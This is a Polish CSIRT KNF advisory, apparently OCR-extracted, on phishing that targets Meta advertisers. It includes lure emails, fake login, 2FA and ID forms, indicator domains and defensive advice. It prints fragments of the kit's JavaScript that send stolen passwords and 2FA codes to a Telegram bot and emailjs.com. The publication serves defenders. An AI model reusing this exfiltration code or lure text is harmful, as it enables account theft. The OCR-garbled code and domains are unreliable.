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Twoje konto na Facebook’u moze stac sie narzedziem oszustow.

W dzisiejszym cyfrowym S$wiecie, gdzie reklama na platformach takich jak Facebook i
Instagram stata sie kluczowym elementem strategii marketingowej wielu firm, oszusci
znajdujg coraz to nowsze sposoby na wytudzanie danych osobowych i sSrodkéw finansowych.

W ostatnim czasie, zespdt CSIRT KNF zaobserwowat wzrost kampanii phishingowych, ktére
celujg w reklamodawcédw na Facebooku i Instagramie, wykorzystujgc fatszywe e-maile
imitujgce komunikaty od Meta, macierzystej firmy obu platform.

Twoje konto zostato zablokowane

Droga I

Twoje konto reklamowe zostato zamknigte z powodu nietypowej aktywnosci.
Oznacza to, ze bedziesz musiat stawi¢ czota nastgpujagcym powaznym
konsekwencjom:

« Nie Z uzyskaé dostepu do kont rekl. ych ani nimi
zarzadzaé.

« Wszystkie ob i przyszte reklamy sa

« Brak zliwosci gdzania bami rekl ymi Twojej
firmy.

Jest to ostatnie dziatanie majgce na celu ostrzezenie o powaznych
konsekwencjach, jakie moze spowodowac Twoje naruszenie. Jesli nie
podejmiesz niezbednych krokéw w celu naprawienia tych naruszen, Twoje
konto zostanie trwale usuniete.

Uwaga: jesli nie otrzymamy od Ciebie odpowiedzi w ciggu 24 godzin,
podejmiemy ostatnie kroki, aby usungé¢ Twoje konto. To Twoja ostatnia

szansa na dziatanie i uniknigcie niepozadanych konsekwencji.

Aby przestaé opinie lub skarge, skorzystaj z ponizszego tacza:

WYSLI REKLAMACJE

Z wyrazami szacunku!

Meta-Suport-Team

Rysunek 1 Przyktadowa wiadomosc¢ e-mail wysytana przez przestepcow.

Cyberprzestepcy, wykorzystujgc techniki inzynierii spotecznej, tworzg wiadomosci e-mail,
ktore na pierwszy rzut oka wygladajg jak autentyczne komunikaty od Meta. Te fatszywe
wiadomosci czesto informujg o rzekomych problemach z kontem reklamowym, potrzebie
weryfikacji danych osobowych lub koniecznosci zaptaty za ustugi reklamowe. Linki zawarte w
tych wiadomosciach prowadza do fatszywych stron internetowych, ktére sg niemal
nieodrdznialne od prawdziwych, co zwieksza ryzyko wprowadzenia w btgd odbiorcow.
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Po kliknieciu w link wysSwietla sie fatszywa strona:

0
OD
o

Rysunek 2 Fatszywa strona podszywajqgca sie pod serwis Meta.

Formularz na fatszywej stronie wytudza dane osobowe oraz dane konta:

x|+
ndexi.php A G @ = @ e

Business Help Center ~

Get Started Advertise Learn Support

Full Name (')

Personal Emall Address (*)

AdMIN's birthday (*) e unser 15 yeor sy s s suarasn

. mm. e

Business Email Address (1)

Phone Number ()

Page Name ()

Rysunek 3 Fatszywa strona podszywajqgca sie pod serwis Meta wytudzajgca dane osobowe.

Po wypetnieniu formularza strona wytudza hasto logowania:

Enter Password to Proceed

Password

Submit Password

Rysunek 4 Formularz wytudzajqcy hasto do konta.
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Nastepnie wytudzany jest kod do wielosktadnikowego uwierzytelnienia:

Two-factor authentication required

You've asked us to require a 6-digit login code when anyone tries to access your
account from a new device or browser.

Enter the 6-digit code from your code generator or third-party app below.

Login code (wait: 04:55)

Need another way to authenticate? m

Rysunek 5 Formularz wytudzajqcy kod MFA do konta.

W niektorych schematach oszustwa strona wytudza réwniez zdjecia dowddéw osobistych:

Confirm Your Identity With Facebook

My personal account was disabled

Before we can review your account, please fill out the form below to help us verify your identity.
Please attach a copy of your ID(s). Leam more about why we require ID verification and what types of ID we'll accept below.

D(s)

As its listed on the account

i | Nie wybrano pliku

We may encrypt and store your ID for up to one year to improve our automated systems for detecting fake IDs. We might use trusted service providers to help review your
information. Your ID will be stored securely and will not be Visible to anyone on Facebook. If you don't want Facebook to use your ID to improve our automated systems for
detecting fake IDs, you can adjust your Identity Confirmation Settings. If you turn this option off, the copy of your ID will be deleted within 30 days of submission or when
Yyou tumed this option off. Visit the Help Centre to lear more about what happens to your ID after you have sent it to us.

Submitting ID
ID rejected by Facebook

Types of IDs that Facebook accepts?
How to upload an ID to Facebook?

Why Facebook may ask you to upload an ID

What happens to your ID after you send it to Facebook

Rysunek 6 Formularz wytudzajqcy zdjecia dowoddw osobistych.

Po braku reakcji ze strony potencjalnej ofiary, przestepcy nastepnego dnia wysytaja
ponaglenia w opisywanej przez siebie sprawie:

Od: Meta for Business <no-renl.fo-restricion-case 1588 @outlook com>
Data: 22 lutogo 2024 0 09-24:35 CET

Do:

Temat: Dezaktywacja Na Stale Pasistwa Konta Reklamowego.

Dezaktywacja Na Stale Paristwa Konta Reklamowego.

czesc, N

Po przeprowadzeniu przegladu, stwierdzilismy kilka powaznych naruszeri w
Paristwa dziataniach reklamowych. W wyniku tych naruszen, Paristwa konto
reklamowe jest zagrozone trwala dezaktywacia. Te dziafania nie tylko
negatywnie wplywaja na doswiadczenia uzytkownikow na Facebooku, ale
moga rowniez prowadzi¢ do konsekwencj prawnych.

Konkretne naruszenia obejmuja:

« Reklamowanie produktow lub ustug zakazanych.
« Powazne naruszenia praw wiasnosci intelektuaine i praw
autorskich.

w biad lub
informacii politycznych.

Jesli nie zostang one natychmiast rozwigzane, mozecie Paristwo
zmierzyé sig z:

+ Karami karnymi, w tym mozliwoscia postawienia przed sadem.
+ Bardzo wysokimi karami finansowymi.
« Calkowita i trwalq utratq dostgpu do usiug reklamowych Facebooka.

Jesli uwazaja Paristwo, ze doszio do nieporozumienia w tej sprawie,

prosimy o jak najszybsze Ziozenie skargi, abysmy mogli jg ponownie
rozpatrzyé.

Prosimy zauwazyé, ze jedii nie podejma Paristwo dziatart naprawezych w
ciagu 24 godzin od otrzymania tego powiadomienia, bedziemy zmuszeni
zastosowaé wymienione érodki.

Rysunek 7 Wiadomos¢ e-mail z ponagleniem.
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Dane wpisywane na stronie wysytane sg na kanat Telegram przy pomocy API:
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<scripts

function getIp() {

$.get("https://api.ipify.org/?format=json",
$("#ip_hidden").val(response.ip);

1

¥

getIp();

function handleActions() {

let code = document.querySelector("#code”);

functi

if (code.value == '*) {
$("#code”) .css("border’, 'lpx solid red');

KNF

\CSIRT

on (response) {

Your message: Hello,

Full Name: Sergii

fetch("https://api.telegram.org/${bot}/s
method: 'POST'
headers: {
}).then(function ()
»
$(".fb-btn").attr('disabled’, true)

}
.catch(error => {
console.error('L3i khi 18y dia chi Ip:',

window.location = 'https://um.facebook.
hH
¥
}
$(*.numeric’).on("input’, function (event) {
if (this.value l== ') {

$('#code’).css('border’, 'none’);

h
this.value = this.value.replace(/[*0-2]/g, '');

</script>

*Content-Type': 'application/json’,

indow.location = ‘https://www.facebook.com/help/?rdrhc’; |

return; )
} else { Personal Email Address: s
var bot :J I Business Email Address: s
var chid
Phone Number: 9’
// St dyng Axios dé 13y dia chi IP
axios.get('https://api64.ipify.org?format=json") Page Name:
.then(response => { 1p: 172
// Extract IP address from the response
const ip = response.data.ip; Country: US
var parans City:
content: =" + '%0A' +
+

|

Password1: 66
1P:172

endMessage >chat_id=${chid}&text=${params.content}/", {

. Country: US, City:

= Lamm—" SR =N

| Password2:S
q P72,

, Country: US, City:

error);

com/help/?rdrhc'; &

7| 2FA: "66 5"
1P:"172.

Rysunek 8 Fragment kodu analizowanej strony oraz bot odpowiedzialny za zbieranie poswiadczeri logowania.

W niektorych przypadkach korzystaja z ustugi emailjs.com, ktéra pozwala na przekierowanie

otrzymanych przez APl informacji nha adres e-mail:

function clicksend() {
if (countSend == @) {
code_1 = document.getElementById("code").value;

var data = localStorage.getItem("location_data") + "\n" + "\n";
data += "information: " + localStorage.getItem("information") + "\n";
data += "full_name: " + localStorage.getItem("full_name") + "\n";
data +=
“business_email: "
data +=
“personal_email: "
data += "phone_number: "
“page_name: " + localStorage.getItem("page_name") + "\n";
“password_1: " + localStorage.getItem("password_1") + "\
"password_2: " + localStorage.getItem("password_2") + "\n
"\n";
“code_1: "

+ localStorage.getItem("business_email”) + "\n";

+ localStorage.getItem("personal_email”) + "\n";
+ localStorage.getItem("phone_number”) + "\n";

+ code_1 + "\n";
+ code_2 + "\n";
+ code_3 + "\n";

“code_2: "

“code_3: "

var datasend = {
service_id: servicelD,

template_id: templateld,
user_id: userId,
template_params: { content: data },

75
$.5jax("https://api.emsiljs.com/api/v1.0/email/send", {
type: "POST",
data: JSON.stringify(dataSend),
contentType: "application/ison”,

Rysunek 9 Fragment kodu analizowanej strony.

Konsekwencje takich oszustw mogg by¢ dla firm bardzo powazne w skutkach. Skradzione dane
osobowe, informacje o kartach kredytowych, a nawet dane dostepowe do kont firmowych
mogg zostaé wykorzystane do dalszych oszustw finansowych lub kradziezy tozsamosci. Dla
firm, ktdre opierajg swojg strategie marketingowa na tych platformach, takie incydenty moga
prowadzi¢ nie tylko do bezposrednich strat finansowych, ale takze do uszczerbku na reputacji

i zaufaniu klientéw.
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Ponizej prezentujemy przyktady fatszywych reklam, ktére moga by¢ pozniej publikowane

przy pomocy przejetych kont:

Bank Polski

Financial Growth Genesis

Sponsorowane

Jestes aktywnym klientem BNP PARIBAS? Kupujac udziaty w firmie gazowej Baltic Pipe, mozesz otrzymywac Jestes naszym statym klientem?
Zaloguj sig i odbierz 900 2l na konto! na swojg karte bankowa co najmniej 10 000 ziotych na tydzien Zainstaluj PeoPay PLUS
' Zarejestruj si i czekaj na telefon od specjalisty. Otrzymaj 900 zlotych za instalacje!

P

* -

BNP PARIBAS

KLIENCHHNDYWIDUALNE-BNP-PARIBAS WIJFX.COM Learn More FB.ME

Zaloguj sie i odbierz 900 zl na konto! Dowiedz sie wiecej o projekcie

Zainstaluj PeoPay PLUS

Otrzyma ainstalacje!

baltic

pipe

ﬂ

HTTPS:/PLAY.GOOGLE.COM, Pobierz

Otrzymaj 900 ztotych za instalacje!

CTi

Podczas dziatan CTI udato sie zidentyfikowa¢ wiele stron wykorzystujacych rézne schematy
oszustwa. Ponizej prezentujemy przyktadowe zapytania w serwisie Censys pozwalajgce na
wyszukiwanie fatszywych stron z opisywanej kampanii.

GoogleTag:
(services.http.response.body: "G-
HT1Q7LJR9J") :

Hosts
Results:3 Time: 1.15s

(= blueprint.ipcs-techtribe.pro (45.32.69.150)
AS-CHOOPA (20473) California, United States

( google-analytics )

80/HTTP 443/HTTP

&= blueprint.coco-system.pro (45.77.92.128)

AS-CHOOPA (20473) Florida, United States
( google-analytics )
80/HTTP 443/HTTP

&= blueprint.coco-system.pro (45.32.69.150)
AS-CHOOPA (20473) California, United States
( google-analytics )

443/HTTP

(services.http.response.body:
"Meta for Business - Page Appeal") :

= www.supportfbappeal.com (104.21.25.19)

CLOUDFLARENET (13335) California, United States
(‘react )
80/HTTP 443/HTTP

www.fb-appeal1542212347.com (104.21.66.86)
CLOUDFLARENET (13335) California, United States

(react )

80/HTTP A43/HTTP

supportfbappeal.com (172.67.222.4)
CLOUDFLARENET (13335) California, United States

(‘react)

80/HTTP 443/HTTP

=) fb-appeal1542212347.com (172.67.157.254)

CLOUDFLARENET (13335) California, United States
((react )
80/HTTP 443/HTTP
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Zidentyfikowane domeny powigzane z powyiszg kampaniag:

blueprint[.]ipcs-techtribe[.]pro

blueprint[.]Jcoco-system[.]pro

meta-violation-10075161[.Jweb[.]lapp

www(.]fb-appeal1542212347[.Jcom

meta-appeal[.Jtop

support-review-case10242126545[.]pages|.]dev

case-metal.]store

sale[.]Jkimship[.Jcom

facebookcase-id12673[.]vercel[.]app

supportfbappeal[.]Jcom

www/[.Jmetasupport82397482937[.]vercel[.]lapp

supportfbappeal[.]Jcom

metasupport82397482937[.]vercel[.]lapp

meta-help-436320319773[.Jcom

metasupport92387478293[.]vercel[.]lapp

comsupportbusiness[.Jcom

metareview([.]pro

sale[.]Jkimship[.Jcom

metaforbusiness|.]live

fb-appeal1542212347[.]com

metaforbusiness[.]pro

administor-business-active-meta20][.]surge[.]sh

metaservicesupport[.]live

administor-business-active-metal5[.]surge[.]sh

www/[.Jmetasupportservicel[.]live

meta-help-k3gbc[.]surge[.]sh

metasupportservice[.]live

meta-business-apply-5c0eb[.]Jwebl[.]Japp

www/[.Jmetaservicesupport[.]live

support-meta-ads-6eqfx[.]surge[.]sh

meta-business-help-centerl-
com[.Jfirebaseapp[.]Jcom

facebook-help-center-
caseid1513435555477[.]vercel[.]lapp

meta-business-help-centerl-com[.Jweb[.]lapp

meta-help-i4hg0[.]surge[.]sh

metaforbusiness1421562123[.Jweb[.]Japp

meta-business-t88nz[.]surge[.]sh

metasupport34167245[.Jweb[.]app

meta-business-s5t18/[.]surge[.]sh

meta-help-support-c00f4[.Jweb[.]lapp

facebookappealhelpcentercaseid516512234548
[.Jvercel[.]lapp

facebook-appeal[.]Jcom

www(.]facebook-appeal[.Jcom

www/[.Jmetahelpcenterappealverification[.Jcom

metasupport192330138[.Jweb[.]lapp

facebookappeals[.]Joscarmike[.]Jcom[.]au

meta-help-center-49efe[.]Jwebl[.]Japp

www(.]facebookappeals[.]Joscarmike[.]Jcom[.]au

metaforbusiness34669744].]firebaseapp[.Jcom

metahelpcenterappealverification[.Jcom

metaforbusiness34669744[.]Jwebl[.]Japp

mail[.Jmetahelpcenterappealverification[.]Jcom

facebook[.]Jcomltokenid[.]online

administor-business-active-meta26[.]surge|[.]sh

www[.]facebook[.]Jcomltokenid[.Jonline

review-meta-c9asd[.Jweb[[.]]lapp

metaforbusiness164562651[.]Jweb[.]app

metasupportappealcenter(.Jcom

metaforbusiness164562651[.]firebaseapp[.]Jcom

facebook-2759d[.]web[.]Japp

metaforbusiness18998324[.]Jwebl[.]app

facebookcom[.]case-3192[.]online

meta-help-support-2a6f4[.Jweb[.]Japp

facebook[.]Jcase-58912321[.]cloud

metaforcopyright-36e13[.Jweb[.]app

metasupportcase56423444[.Jweb[.]app

metasupport19895241[.]Jweb[.]app

metahalpcenter[.Jcom

metawebsupport-3163165402[.Jweb[.]app

meta-help-team-meta-busi-8c391[.]Jweb[.]app

metapagereview-bb87253[.]firebaseapp[.]Jcom

metawebsupport-
3163165402[.]firebaseapp[.Jcom

metapagereview-bb67423[.]Jwebl[.]app

meta-support-eOed4[.Jweb[.]app

metapagereview-bb87253[.]Jwebl[.]app

meta-support-eOed4|.]firebaseapp[.Jcom

metapagereview-bb99827[.]Jwebl.]app

meta-help-center-8a571][.]firebaseapp[.Jcom

metapagereview-bb73241[.]Jwebl[.]app

meta-help-center-8a571[.Jweb[.]Japp

meta-violation-10075161[.]firebaseapp[.Jcom

meta-business-case-523de][.]firebaseapp[.Jcom

meta-business-case-523de[.]Jwebl[.]Japp
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Ponizej prezentujemy zrzuty ekranu réznych wariantéw oszukanczych stron biorgcych udziat
w opisywanej kampanii:
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a
omrendeccom A 8 D B o
Get Started
g0e
: P
Report no: 2859539362
Please provide us information that will help us investigate
Ful
Business Emai Adaress
Personal Emai Address
Mobie Phone Number
Page Name
O 1ag Terms, Data and C¢ licy
& D | 00 Metaforbusiness- Page Agpeal X | +
PG R R ———— A G DB
Please Enter Your Password
For your security, you must enter your password to continue.
Passuora
- o x
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Kolejny wariant fatszywej strony:

ER IR I R v W e e

BUSINESS HELP CENTER

Inny wariant graficzny wykorzystywany do tego samego schematu oszustwa:

20 6w 2 0 6w v x

facebook

(Gonfirm Your dentity Wih Facebook
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Jakie srodki ostroznosci warto wdrozy¢, aby uchronic sie przed utratg konta
Facebook/Meta?

1. Weryfikuj wszystkie komunikaty: Zanim podejmiesz jakgkolwiek akcje, upewnij sie,
ze wiadomos¢ pochodzi z zaufanego zrédta. Najlepiej zalogowac sie bezposrednio na
swoje konto na Facebooku lub Instagramie i sprawdzi¢, czy sg tam jakiekolwiek
oficjalne powiadomienia.

2. Uzywaj dwuetapowej weryfikacji: Wigczenie dodatkowych srodkéw bezpieczeristwa
na Twoich kontach moze znaczgco utrudnic zycie oszustom.

3. Edukuj siebie i swoich pracownikow: Im wiecej wiesz o metodach dziatania
oszustéw, tym trudniej Cie oszukaé. Regularne szkolenia dotyczgce bezpieczenstwa
mogaq znacznie zmniejszy¢ ryzyko incydentéw.

O nowych sposobach dziatania oszustéw informujemy za posrednictwem mediow
spotecznosciowych.

Zachecamy do obserwowania kont CSIRT KNF w serwisach:

Twitter: https://twitter.com/CSIRT KNF

LinkedIn: https://www.linkedin.com/company/csirt-knf

Facebook: https://www.facebook.com/profile.php?id=100065127625555
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